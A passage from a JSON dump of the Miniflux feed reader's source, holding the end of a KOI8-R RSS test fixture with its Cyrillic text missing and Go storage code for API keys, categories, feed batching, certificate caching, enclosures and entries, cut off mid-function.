    "content": "<?xml version=\"1.0\" encoding=\"KOI8-R\"?>\n<rss version=\"2.0\">\n  <channel>\n    <title> RSS </title>\n    <link>http://example.com/</link>\n    <description>    KOI8-R</description>\n    <language>ru</language>\n    <lastBuildDate>Sat, 15 Feb 2026 12:00:00 +0000</lastBuildDate>\n\n    <item>\n      <title> </title>\n      <link>http://example.com/post1</link>\n      <guid>http://example.com/post1</guid>\n      <pubDate>Sat, 15 Feb 2026 10:00:00 +0000</pubDate>\n      <description>\n             : \n         ! , , , -.\n      </description>\n    </item>\n\n    <item>\n      <title> </title>\n      <link>http://example.com/post2</link>\n      <guid>http://example.com/post2</guid>\n      <pubDate>Sat, 15 Feb 2026 11:00:00 +0000</pubDate>\n      <description>\n          : &amp; &lt; &gt; \n          : 1234567890.\n      </description>\n    </item>\n\n  </channel>\n</rss>\n"
  },
  {
    "path": "internal/storage/api_key.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\nvar ErrAPIKeyNotFound = errors.New(\"store: API Key not found\")\n\n// APIKeyExists checks if an API Key with the same description exists.\nfunc (s *Storage) APIKeyExists(userID int64, description string) bool {\n\tvar result bool\n\tquery := `SELECT true FROM api_keys WHERE user_id=$1 AND lower(description)=lower($2) LIMIT 1`\n\ts.db.QueryRow(query, userID, description).Scan(&result)\n\treturn result\n}\n\n// SetAPIKeyUsedTimestamp updates the last used date of an API Key.\nfunc (s *Storage) SetAPIKeyUsedTimestamp(userID int64, token string) error {\n\tquery := `UPDATE api_keys SET last_used_at=now() WHERE user_id=$1 and token=$2`\n\t_, err := s.db.Exec(query, userID, token)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update last used date for API key: %v`, err)\n\t}\n\n\treturn nil\n}\n\n// APIKeys returns all API Keys that belongs to the given user.\nfunc (s *Storage) APIKeys(userID int64) (model.APIKeys, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tid, user_id, token, description, last_used_at, created_at\n\t\tFROM\n\t\t\tapi_keys\n\t\tWHERE\n\t\t\tuser_id=$1\n\t\tORDER BY description ASC\n\t`\n\trows, err := s.db.Query(query, userID)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch API Keys: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tapiKeys := make(model.APIKeys, 0)\n\tfor rows.Next() {\n\t\tvar apiKey model.APIKey\n\t\tif err := rows.Scan(\n\t\t\t&apiKey.ID,\n\t\t\t&apiKey.UserID,\n\t\t\t&apiKey.Token,\n\t\t\t&apiKey.Description,\n\t\t\t&apiKey.LastUsedAt,\n\t\t\t&apiKey.CreatedAt,\n\t\t); err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to fetch API Key row: %v`, err)\n\t\t}\n\n\t\tapiKeys = append(apiKeys, apiKey)\n\t}\n\n\treturn apiKeys, nil\n}\n\n// CreateAPIKey inserts a new API key.\nfunc (s *Storage) CreateAPIKey(userID int64, description string) (*model.APIKey, error) {\n\tquery := `\n\t\tINSERT INTO api_keys\n\t\t\t(user_id, token, description)\n\t\tVALUES\n\t\t\t($1, $2, $3)\n\t\tRETURNING\n\t\t\tid, user_id, token, description, last_used_at, created_at\n\t`\n\tvar apiKey model.APIKey\n\terr := s.db.QueryRow(\n\t\tquery,\n\t\tuserID,\n\t\tcrypto.GenerateRandomStringHex(32),\n\t\tdescription,\n\t).Scan(\n\t\t&apiKey.ID,\n\t\t&apiKey.UserID,\n\t\t&apiKey.Token,\n\t\t&apiKey.Description,\n\t\t&apiKey.LastUsedAt,\n\t\t&apiKey.CreatedAt,\n\t)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to create API Key: %v`, err)\n\t}\n\n\treturn &apiKey, nil\n}\n\n// DeleteAPIKey deletes an API Key.\nfunc (s *Storage) DeleteAPIKey(userID, keyID int64) error {\n\tresult, err := s.db.Exec(`DELETE FROM api_keys WHERE id = $1 AND user_id = $2`, keyID, userID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to delete this API Key: %v`, err)\n\t}\n\n\tcount, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to delete this API Key: %v`, err)\n\t}\n\n\tif count == 0 {\n\t\treturn ErrAPIKeyNotFound\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/storage/batch.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\ntype batchBuilder struct {\n\tdb           *sql.DB\n\targs         []any\n\tconditions   []string\n\tbatchSize    int\n\tlimitPerHost int\n}\n\nfunc (s *Storage) NewBatchBuilder() *batchBuilder {\n\treturn &batchBuilder{\n\t\tdb: s.db,\n\t}\n}\n\nfunc (b *batchBuilder) WithBatchSize(batchSize int) *batchBuilder {\n\tb.batchSize = batchSize\n\treturn b\n}\n\nfunc (b *batchBuilder) WithUserID(userID int64) *batchBuilder {\n\tb.conditions = append(b.conditions, \"user_id = $\"+strconv.Itoa(len(b.args)+1))\n\tb.args = append(b.args, userID)\n\treturn b\n}\n\nfunc (b *batchBuilder) WithCategoryID(categoryID int64) *batchBuilder {\n\tb.conditions = append(b.conditions, \"category_id = $\"+strconv.Itoa(len(b.args)+1))\n\tb.args = append(b.args, categoryID)\n\treturn b\n}\n\nfunc (b *batchBuilder) WithErrorLimit(limit int) *batchBuilder {\n\tif limit > 0 {\n\t\tb.conditions = append(b.conditions, \"parsing_error_count < $\"+strconv.Itoa(len(b.args)+1))\n\t\tb.args = append(b.args, limit)\n\t}\n\treturn b\n}\n\nfunc (b *batchBuilder) WithNextCheckExpired() *batchBuilder {\n\tb.conditions = append(b.conditions, \"next_check_at < now()\")\n\treturn b\n}\n\nfunc (b *batchBuilder) WithoutDisabledFeeds() *batchBuilder {\n\tb.conditions = append(b.conditions, \"disabled IS false\")\n\treturn b\n}\n\nfunc (b *batchBuilder) WithLimitPerHost(limit int) *batchBuilder {\n\tif limit > 0 {\n\t\tb.limitPerHost = limit\n\t}\n\treturn b\n}\n\n// FetchJobs retrieves a batch of jobs based on the conditions set in the builder.\n// When limitPerHost is set, it limits the number of jobs per feed hostname to prevent overwhelming a single host.\nfunc (b *batchBuilder) FetchJobs() (model.JobList, error) {\n\tquery := `SELECT id, user_id, feed_url FROM feeds`\n\n\tif len(b.conditions) > 0 {\n\t\tquery += \" WHERE \" + strings.Join(b.conditions, \" AND \")\n\t}\n\n\tquery += \" ORDER BY next_check_at ASC\"\n\n\tif b.batchSize > 0 {\n\t\tquery += \" LIMIT \" + strconv.Itoa(b.batchSize)\n\t}\n\n\trows, err := b.db.Query(query, b.args...)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch batch of jobs: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tjobs := make(model.JobList, 0, b.batchSize)\n\thosts := make(map[string]int)\n\tnbRows := 0\n\tnbSkippedFeeds := 0\n\n\tfor rows.Next() {\n\t\tvar job model.Job\n\t\tif err := rows.Scan(&job.FeedID, &job.UserID, &job.FeedURL); err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to fetch job record: %v`, err)\n\t\t}\n\n\t\tnbRows++\n\n\t\tif b.limitPerHost > 0 {\n\t\t\tfeedHostname := urllib.Domain(job.FeedURL)\n\t\t\tif hosts[feedHostname] >= b.limitPerHost {\n\t\t\t\tslog.Debug(\"Feed host limit reached for this batch\",\n\t\t\t\t\tslog.String(\"feed_url\", job.FeedURL),\n\t\t\t\t\tslog.String(\"feed_hostname\", feedHostname),\n\t\t\t\t\tslog.Int(\"limit_per_host\", b.limitPerHost),\n\t\t\t\t\tslog.Int(\"current\", hosts[feedHostname]),\n\t\t\t\t)\n\t\t\t\tnbSkippedFeeds++\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\thosts[feedHostname]++\n\t\t}\n\n\t\tjobs = append(jobs, job)\n\t}\n\n\tif err := rows.Err(); err != nil {\n\t\treturn nil, fmt.Errorf(`store: error iterating on job records: %v`, err)\n\t}\n\n\tslog.Info(\"Created a batch of feeds\",\n\t\tslog.Int(\"batch_size\", b.batchSize),\n\t\tslog.Int(\"rows_count\", nbRows),\n\t\tslog.Int(\"skipped_feeds_count\", nbSkippedFeeds),\n\t\tslog.Int(\"jobs_count\", len(jobs)),\n\t)\n\n\treturn jobs, nil\n}\n"
  },
  {
    "path": "internal/storage/category.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/lib/pq\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// AnotherCategoryExists checks if another category exists with the same title.\nfunc (s *Storage) AnotherCategoryExists(userID, categoryID int64, title string) bool {\n\tvar result bool\n\tquery := `SELECT true FROM categories WHERE user_id=$1 AND id != $2 AND lower(title)=lower($3) LIMIT 1`\n\ts.db.QueryRow(query, userID, categoryID, title).Scan(&result)\n\treturn result\n}\n\n// CategoryTitleExists checks if the given category exists into the database.\nfunc (s *Storage) CategoryTitleExists(userID int64, title string) bool {\n\tvar result bool\n\tquery := `SELECT true FROM categories WHERE user_id=$1 AND lower(title)=lower($2) LIMIT 1`\n\ts.db.QueryRow(query, userID, title).Scan(&result)\n\treturn result\n}\n\n// CategoryIDExists checks if the given category exists into the database.\nfunc (s *Storage) CategoryIDExists(userID, categoryID int64) bool {\n\tvar result bool\n\tquery := `SELECT true FROM categories WHERE user_id=$1 AND id=$2 LIMIT 1`\n\ts.db.QueryRow(query, userID, categoryID).Scan(&result)\n\treturn result\n}\n\n// Category returns a category from the database.\nfunc (s *Storage) Category(userID, categoryID int64) (*model.Category, error) {\n\tvar category model.Category\n\n\tquery := `SELECT id, user_id, title, hide_globally FROM categories WHERE user_id=$1 AND id=$2`\n\terr := s.db.QueryRow(query, userID, categoryID).Scan(&category.ID, &category.UserID, &category.Title, &category.HideGlobally)\n\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(`store: unable to fetch category: %v`, err)\n\tdefault:\n\t\treturn &category, nil\n\t}\n}\n\n// FirstCategory returns the first category for the given user.\nfunc (s *Storage) FirstCategory(userID int64) (*model.Category, error) {\n\tquery := `SELECT id, user_id, title, hide_globally FROM categories WHERE user_id=$1 ORDER BY title ASC LIMIT 1`\n\n\tvar category model.Category\n\terr := s.db.QueryRow(query, userID).Scan(&category.ID, &category.UserID, &category.Title, &category.HideGlobally)\n\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(`store: unable to fetch category: %v`, err)\n\tdefault:\n\t\treturn &category, nil\n\t}\n}\n\n// CategoryByTitle finds a category by the title.\nfunc (s *Storage) CategoryByTitle(userID int64, title string) (*model.Category, error) {\n\tvar category model.Category\n\n\tquery := `SELECT id, user_id, title, hide_globally FROM categories WHERE user_id=$1 AND title=$2`\n\terr := s.db.QueryRow(query, userID, title).Scan(&category.ID, &category.UserID, &category.Title, &category.HideGlobally)\n\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(`store: unable to fetch category: %v`, err)\n\tdefault:\n\t\treturn &category, nil\n\t}\n}\n\n// Categories returns all categories that belongs to the given user.\nfunc (s *Storage) Categories(userID int64) (model.Categories, error) {\n\tquery := `SELECT id, user_id, title, hide_globally FROM categories WHERE user_id=$1 ORDER BY title ASC`\n\trows, err := s.db.Query(query, userID)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch categories: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tcategories := make(model.Categories, 0)\n\tfor rows.Next() {\n\t\tvar category model.Category\n\t\tif err := rows.Scan(&category.ID, &category.UserID, &category.Title, &category.HideGlobally); err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to fetch category row: %v`, err)\n\t\t}\n\n\t\tcategories = append(categories, category)\n\t}\n\n\treturn categories, nil\n}\n\n// CategoriesWithFeedCount returns all categories with the number of feeds.\nfunc (s *Storage) CategoriesWithFeedCount(userID int64) (model.Categories, error) {\n\tuser, err := s.UserByID(userID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tquery := `\n\t\tSELECT\n\t\t\tc.id,\n\t\t\tc.user_id,\n\t\t\tc.title,\n\t\t\tc.hide_globally,\n\t\t\t(SELECT count(*) FROM feeds WHERE feeds.category_id=c.id) AS count,\n\t\t\t(SELECT count(*)\n\t\t\t   FROM feeds\n\t\t\t     JOIN entries ON (feeds.id = entries.feed_id)\n\t\t\t   WHERE feeds.category_id = c.id AND entries.status = $1) AS count_unread\n\t\tFROM categories c\n\t\tWHERE\n\t\t\tuser_id=$2\n\t`\n\n\tif user.CategoriesSortingOrder == \"alphabetical\" {\n\t\tquery += `\n\t\t\tORDER BY\n\t\t\t\tc.title ASC\n\t\t`\n\t} else {\n\t\tquery += `\n\t\t\tORDER BY\n\t\t\t\tcount_unread DESC,\n\t\t\t\tc.title ASC\n\t\t`\n\t}\n\n\trows, err := s.db.Query(query, model.EntryStatusUnread, userID)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch categories: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tcategories := make(model.Categories, 0)\n\tfor rows.Next() {\n\t\tvar category model.Category\n\t\tif err := rows.Scan(&category.ID, &category.UserID, &category.Title, &category.HideGlobally, &category.FeedCount, &category.TotalUnread); err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to fetch category row: %v`, err)\n\t\t}\n\n\t\tcategories = append(categories, category)\n\t}\n\n\treturn categories, nil\n}\n\n// CreateCategory creates a new category.\nfunc (s *Storage) CreateCategory(userID int64, request *model.CategoryCreationRequest) (*model.Category, error) {\n\tvar category model.Category\n\n\tquery := `\n\t\tINSERT INTO categories\n\t\t\t(user_id, title, hide_globally)\n\t\tVALUES\n\t\t\t($1, $2, $3)\n\t\tRETURNING\n\t\t\tid,\n\t\t\tuser_id,\n\t\t\ttitle,\n\t\t\thide_globally\n\t`\n\terr := s.db.QueryRow(\n\t\tquery,\n\t\tuserID,\n\t\trequest.Title,\n\t\trequest.HideGlobally,\n\t).Scan(\n\t\t&category.ID,\n\t\t&category.UserID,\n\t\t&category.Title,\n\t\t&category.HideGlobally,\n\t)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to create category %q for user ID %d: %v`, request.Title, userID, err)\n\t}\n\n\treturn &category, nil\n}\n\n// UpdateCategory updates an existing category.\nfunc (s *Storage) UpdateCategory(category *model.Category) error {\n\tquery := `UPDATE categories SET title=$1, hide_globally=$2 WHERE id=$3 AND user_id=$4`\n\t_, err := s.db.Exec(\n\t\tquery,\n\t\tcategory.Title,\n\t\tcategory.HideGlobally,\n\t\tcategory.ID,\n\t\tcategory.UserID,\n\t)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update category: %v`, err)\n\t}\n\n\treturn nil\n}\n\n// RemoveCategory deletes a category.\nfunc (s *Storage) RemoveCategory(userID, categoryID int64) error {\n\tquery := `DELETE FROM categories WHERE id = $1 AND user_id = $2`\n\tresult, err := s.db.Exec(query, categoryID, userID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to remove this category: %v`, err)\n\t}\n\n\tcount, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to remove this category: %v`, err)\n\t}\n\n\tif count == 0 {\n\t\treturn errors.New(`store: no category has been removed`)\n\t}\n\n\treturn nil\n}\n\n// RemoveAndReplaceCategoriesByName deletes the given categories, replacing those categories with the user's first\n// category on affected feeds.\nfunc (s *Storage) RemoveAndReplaceCategoriesByName(userid int64, titles []string) error {\n\ttx, err := s.db.Begin()\n\tif err != nil {\n\t\treturn errors.New(\"store: unable to begin transaction\")\n\t}\n\n\ttitleParam := pq.Array(titles)\n\tvar count int\n\tquery := \"SELECT count(*) FROM categories WHERE user_id = $1 and title != ANY($2)\"\n\terr = tx.QueryRow(query, userid, titleParam).Scan(&count)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn errors.New(\"store: unable to retrieve category count\")\n\t}\n\tif count < 1 {\n\t\ttx.Rollback()\n\t\treturn errors.New(\"store: at least 1 category must remain after deletion\")\n\t}\n\n\tquery = `\n\t\tWITH d_cats AS (SELECT id FROM categories WHERE user_id = $1 AND title = ANY($2))\n\t\tUPDATE feeds\n\t\t SET category_id =\n\t\t  (SELECT id\n\t\t\tFROM categories\n\t\t\tWHERE user_id = $1 AND id NOT IN (SELECT id FROM d_cats)\n\t\t\tORDER BY title ASC\n\t\t\tLIMIT 1)\n\t\tWHERE user_id = $1 AND category_id IN (SELECT id FROM d_cats)\n\t`\n\t_, err = tx.Exec(query, userid, titleParam)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(\"store: unable to replace categories: %v\", err)\n\t}\n\n\tquery = \"DELETE FROM categories WHERE user_id = $1 AND title = ANY($2)\"\n\t_, err = tx.Exec(query, userid, titleParam)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(\"store: unable to delete categories: %v\", err)\n\t}\n\ttx.Commit()\n\treturn nil\n}\n"
  },
  {
    "path": "internal/storage/certificate_cache.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\n\t\"golang.org/x/crypto/acme/autocert\"\n)\n\n// Making sure that we're adhering to the autocert.Cache interface.\nvar _ autocert.Cache = (*certificateCache)(nil)\n\n// certificateCache provides a SQL backend to the autocert cache.\ntype certificateCache struct {\n\tstorage *Storage\n}\n\n// NewCertificateCache creates an cache instance that can be used with autocert.Cache.\n// It returns any errors that could happen while connecting to SQL.\nfunc NewCertificateCache(storage *Storage) *certificateCache {\n\treturn &certificateCache{\n\t\tstorage: storage,\n\t}\n}\n\n// Get returns a certificate data for the specified key.\n// If there's no such key, Get returns ErrCacheMiss.\nfunc (c *certificateCache) Get(ctx context.Context, key string) ([]byte, error) {\n\tquery := `SELECT data::bytea FROM acme_cache WHERE key = $1`\n\tvar data []byte\n\terr := c.storage.db.QueryRowContext(ctx, query, key).Scan(&data)\n\tif err == sql.ErrNoRows {\n\t\treturn nil, autocert.ErrCacheMiss\n\t}\n\n\treturn data, err\n}\n\n// Put stores the data in the cache under the specified key.\nfunc (c *certificateCache) Put(ctx context.Context, key string, data []byte) error {\n\tquery := `INSERT INTO acme_cache (key, data, updated_at) VALUES($1, $2::bytea, now())\n\t          ON CONFLICT (key) DO UPDATE SET data = $2::bytea, updated_at = now()`\n\t_, err := c.storage.db.ExecContext(ctx, query, key, data)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// Delete removes a certificate data from the cache under the specified key.\n// If there's no such key in the cache, Delete returns nil.\nfunc (c *certificateCache) Delete(ctx context.Context, key string) error {\n\tquery := `DELETE FROM acme_cache WHERE key = $1`\n\t_, err := c.storage.db.ExecContext(ctx, query, key)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "internal/storage/enclosure.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/model\"\n\n\t\"github.com/lib/pq\"\n)\n\n// GetEnclosures returns all attachments for the given entry.\nfunc (s *Storage) GetEnclosures(entryID int64) (model.EnclosureList, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\tuser_id,\n\t\t\tentry_id,\n\t\t\turl,\n\t\t\tsize,\n\t\t\tmime_type,\n\t\t    media_progression\n\t\tFROM\n\t\t\tenclosures\n\t\tWHERE\n\t\t\tentry_id = $1\n\t\tORDER BY id ASC\n\t`\n\n\trows, err := s.db.Query(query, entryID)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch enclosures: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tenclosures := make(model.EnclosureList, 0)\n\tfor rows.Next() {\n\t\tvar enclosure model.Enclosure\n\t\terr := rows.Scan(\n\t\t\t&enclosure.ID,\n\t\t\t&enclosure.UserID,\n\t\t\t&enclosure.EntryID,\n\t\t\t&enclosure.URL,\n\t\t\t&enclosure.Size,\n\t\t\t&enclosure.MimeType,\n\t\t\t&enclosure.MediaProgression,\n\t\t)\n\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to fetch enclosure row: %v`, err)\n\t\t}\n\n\t\tenclosures = append(enclosures, &enclosure)\n\t}\n\n\treturn enclosures, nil\n}\n\nfunc (s *Storage) GetEnclosuresForEntries(entryIDs []int64) (map[int64]model.EnclosureList, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\tuser_id,\n\t\t\tentry_id,\n\t\t\turl,\n\t\t\tsize,\n\t\t\tmime_type,\n\t\t    media_progression\n\t\tFROM\n\t\t\tenclosures\n\t\tWHERE\n\t\t\tentry_id = ANY($1)\n\t\tORDER BY id ASC\n\t`\n\n\trows, err := s.db.Query(query, pq.Array(entryIDs))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"store: unable to fetch enclosures: %w\", err)\n\t}\n\tdefer rows.Close()\n\n\tenclosuresMap := make(map[int64]model.EnclosureList)\n\tfor rows.Next() {\n\t\tvar enclosure model.Enclosure\n\t\terr := rows.Scan(\n\t\t\t&enclosure.ID,\n\t\t\t&enclosure.UserID,\n\t\t\t&enclosure.EntryID,\n\t\t\t&enclosure.URL,\n\t\t\t&enclosure.Size,\n\t\t\t&enclosure.MimeType,\n\t\t\t&enclosure.MediaProgression,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"store: unable to scan enclosure row: %w\", err)\n\t\t}\n\n\t\tenclosuresMap[enclosure.EntryID] = append(enclosuresMap[enclosure.EntryID], &enclosure)\n\t}\n\n\treturn enclosuresMap, nil\n}\n\nfunc (s *Storage) GetEnclosure(enclosureID int64) (*model.Enclosure, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\tuser_id,\n\t\t\tentry_id,\n\t\t\turl,\n\t\t\tsize,\n\t\t\tmime_type,\n\t\t    media_progression\n\t\tFROM\n\t\t\tenclosures\n\t\tWHERE\n\t\t\tid = $1\n\t\tORDER BY id ASC\n\t`\n\n\trow := s.db.QueryRow(query, enclosureID)\n\n\tvar enclosure model.Enclosure\n\terr := row.Scan(\n\t\t&enclosure.ID,\n\t\t&enclosure.UserID,\n\t\t&enclosure.EntryID,\n\t\t&enclosure.URL,\n\t\t&enclosure.Size,\n\t\t&enclosure.MimeType,\n\t\t&enclosure.MediaProgression,\n\t)\n\n\tif err == sql.ErrNoRows {\n\t\treturn nil, nil\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch enclosure row: %v`, err)\n\t}\n\n\treturn &enclosure, nil\n}\n\nfunc (s *Storage) createEnclosure(tx *sql.Tx, enclosure *model.Enclosure) error {\n\tenclosureURL := strings.TrimSpace(enclosure.URL)\n\tif enclosureURL == \"\" {\n\t\treturn nil\n\t}\n\n\tquery := `\n\t\tINSERT INTO enclosures\n\t\t\t(url, size, mime_type, entry_id, user_id, media_progression)\n\t\tVALUES\n\t\t\t($1, $2, $3, $4, $5, $6)\n\t\tON CONFLICT (user_id, entry_id, md5(url)) DO NOTHING\n\t\tRETURNING\n\t\t\tid\n\t`\n\tif err := tx.QueryRow(\n\t\tquery,\n\t\tenclosureURL,\n\t\tenclosure.Size,\n\t\tenclosure.MimeType,\n\t\tenclosure.EntryID,\n\t\tenclosure.UserID,\n\t\tenclosure.MediaProgression,\n\t).Scan(&enclosure.ID); err != nil && err != sql.ErrNoRows {\n\t\treturn fmt.Errorf(`store: unable to create enclosure: %w`, err)\n\t}\n\n\treturn nil\n}\n\nfunc (s *Storage) updateEnclosures(tx *sql.Tx, entry *model.Entry) error {\n\tif len(entry.Enclosures) == 0 {\n\t\t// Do not keep any old enclosures if there is none in the updated entry.\n\t\tquery := `\n\t\t\tDELETE FROM\n\t\t\t\tenclosures\n\t\t\tWHERE\n\t\t\t\tuser_id=$1 AND entry_id=$2\n\t\t`\n\n\t\t_, err := tx.Exec(query, entry.UserID, entry.ID)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(`store: unable to delete old enclosures: %v`, err)\n\t\t}\n\t\treturn nil\n\t}\n\n\tsqlValues := make([]string, 0, len(entry.Enclosures))\n\tfor _, enclosure := range entry.Enclosures {\n\t\tsqlValues = append(sqlValues, strings.TrimSpace(enclosure.URL))\n\n\t\tif err := s.createEnclosure(tx, enclosure); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tquery := `\n\t\tDELETE FROM\n\t\t\tenclosures\n\t\tWHERE\n\t\t\tuser_id=$1 AND entry_id=$2 AND url <> ALL($3)\n\t`\n\n\t_, err := tx.Exec(query, entry.UserID, entry.ID, pq.Array(sqlValues))\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to delete old enclosures: %v`, err)\n\t}\n\n\treturn nil\n}\n\nfunc (s *Storage) UpdateEnclosure(enclosure *model.Enclosure) error {\n\tquery := `\n\t\tUPDATE\n\t\t\tenclosures\n\t\tSET\n\t\t\turl=$1,\n\t\t\tsize=$2,\n\t\t\tmime_type=$3,\n\t\t\tentry_id=$4,\n\t\t\tuser_id=$5,\n\t\t\tmedia_progression=$6\n\t\tWHERE\n\t\t\tid=$7\n\t`\n\t_, err := s.db.Exec(query,\n\t\tenclosure.URL,\n\t\tenclosure.Size,\n\t\tenclosure.MimeType,\n\t\tenclosure.EntryID,\n\t\tenclosure.UserID,\n\t\tenclosure.MediaProgression,\n\t\tenclosure.ID,\n\t)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update enclosure #%d : %v`, enclosure.ID, err)\n\t}\n\n\treturn nil\n}\n\n// DeleteEnclosuresOfRemovedEntries deletes enclosures associated with entries marked as \"removed\".\nfunc (s *Storage) DeleteEnclosuresOfRemovedEntries() (int64, error) {\n\tquery := `\n\t\tDELETE FROM\n\t\t\tenclosures\n\t\tWHERE\n\t\t\tenclosures.entry_id IN (SELECT id FROM entries WHERE status=$1)\n\t`\n\tresult, err := s.db.Exec(query, model.EntryStatusRemoved)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(`store: unable to delete enclosures from removed entries: %v`, err)\n\t}\n\n\tcount, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(`store: unable to get the number of rows affected while deleting enclosures from removed entries: %v`, err)\n\t}\n\n\treturn count, nil\n}\n"
  },
  {
    "path": "internal/storage/entry.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n\n\t\"github.com/lib/pq\"\n)\n\n// CountAllEntries returns the number of entries for each status in the database.\nfunc (s *Storage) CountAllEntries() map[string]int64 {\n\trows, err := s.db.Query(`SELECT status, count(*) FROM entries GROUP BY status`)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tdefer rows.Close()\n\n\tresults := make(map[string]int64)\n\tresults[model.EntryStatusUnread] = 0\n\tresults[model.EntryStatusRead] = 0\n\tresults[model.EntryStatusRemoved] = 0\n\n\tfor rows.Next() {\n\t\tvar status string\n\t\tvar count int64\n\n\t\tif err := rows.Scan(&status, &count); err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tresults[status] = count\n\t}\n\n\tresults[\"total\"] = results[model.EntryStatusUnread] + results[model.EntryStatusRead] + results[model.EntryStatusRemoved]\n\treturn results\n}\n\n// CountUnreadEntries returns the number of unread entries.\nfunc (s *Storage) CountUnreadEntries(userID int64) int {\n\tbuilder := s.NewEntryQueryBuilder(userID)\n\tbuilder.WithStatus(model.EntryStatusUnread)\n\tbuilder.WithGloballyVisible()\n\n\tn, err := builder.CountEntries()\n\tif err != nil {\n\t\tslog.Error(\"Unable to count unread entries\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\treturn 0\n\t}\n\n\treturn n\n}\n\n// NewEntryQueryBuilder returns a new EntryQueryBuilder\nfunc (s *Storage) NewEntryQueryBuilder(userID int64) *EntryQueryBuilder {\n\treturn NewEntryQueryBuilder(s, userID)\n}\n\n// UpdateEntryTitleAndContent updates entry title and 